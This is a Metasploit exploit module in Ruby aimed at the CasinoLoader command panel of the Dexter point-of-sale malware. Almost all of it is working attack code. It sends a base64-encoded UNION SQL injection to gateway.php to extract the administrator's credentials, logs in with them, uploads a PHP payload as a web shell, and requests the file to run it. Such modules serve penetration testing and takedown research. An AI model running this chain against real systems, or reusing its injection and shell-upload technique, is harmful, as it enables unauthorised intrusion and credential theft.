171 lines
5.4 KiB
Ruby
171 lines
5.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Dexter (CasinoLoader) SQL Injection",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in the command and control panel
|
|
used to control Dexter (Point of Sale malware). This is done by accessing the
|
|
PHP page used by bots to report in (gateway.php) which does not sanitize input.
|
|
Input is encrypted and encoded, but the key is supplied by the bot connecting.
|
|
The 'page' parameter is used in this case. The command and control panel designates
|
|
a location to upload files, and can be used as a reliable location to write a
|
|
PHP shell. Authentication is not needed to exploit this vulnerability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'bwall (Brian Wallace) <bwallace[at]cylance.com>'
|
|
],
|
|
'References' =>
|
|
[
|
|
[
|
|
"URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
|
|
]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['CasinoLoader gateway.php', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => "Feb 08 2014"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']),
|
|
OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']),
|
|
OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']),
|
|
OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']),
|
|
OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users'])
|
|
], self.class)
|
|
end
|
|
|
|
def gateway
|
|
return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])
|
|
end
|
|
|
|
def login
|
|
return normalize_uri(target_uri.path, datastore['TARGETLOGIN'])
|
|
end
|
|
|
|
def upload
|
|
return normalize_uri(target_uri.path, datastore['TARGETUPLOAD'])
|
|
end
|
|
|
|
def database_get_field(table, column, row)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri'=>gateway,
|
|
'vars_post' => {
|
|
'val' => 'AA==',
|
|
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --")
|
|
}
|
|
})
|
|
if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=')
|
|
return Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1]))[1..-3]
|
|
end
|
|
return false
|
|
end
|
|
|
|
def check
|
|
testvalue = rand_text_alpha(9)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri'=>gateway,
|
|
'vars_post' => {
|
|
'val' => 'AA==',
|
|
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
|
|
}
|
|
})
|
|
|
|
if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') and
|
|
Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def exploit
|
|
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
|
|
|
|
print_status("Using SQL injection to acquire credentials")
|
|
user = database_get_field('users', 'name', 0)
|
|
if user == false
|
|
print_error("Failed to acquire administrator username")
|
|
return
|
|
end
|
|
|
|
password = database_get_field('users', 'password', 0)
|
|
if password == false
|
|
print_error("Failed to acquire administrator password")
|
|
end
|
|
|
|
print_status("Using #{user}:#{password}")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri'=>login,
|
|
'vars_post' => {
|
|
'submit' => '1',
|
|
'username' => user,
|
|
'password' => password
|
|
}
|
|
})
|
|
|
|
login_cookie = ""
|
|
|
|
if res and res.headers.has_key?('Location')
|
|
login_cookie = res.get_cookies
|
|
print_status("Login successful")
|
|
else
|
|
print_error("Failed to log in")
|
|
return
|
|
end
|
|
|
|
data = Rex::MIME::Message.new
|
|
data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
|
data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"")
|
|
post_data = data.to_s
|
|
|
|
print_status("Sending PHP payload (#{payload_name})")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => upload,
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'cookie' => login_cookie,
|
|
'data' => post_data
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
|
|
path = $1
|
|
path = path.sub! "\\", "/"
|
|
target_path = normalize_uri(target_uri.path, path)
|
|
print_status("Requesting: #{target_path}")
|
|
send_request_raw({'uri' => normalize_uri(target_path)})
|
|
handler
|
|
else
|
|
print_error("Failed to upload file")
|
|
return
|
|
end
|
|
end
|
|
end
|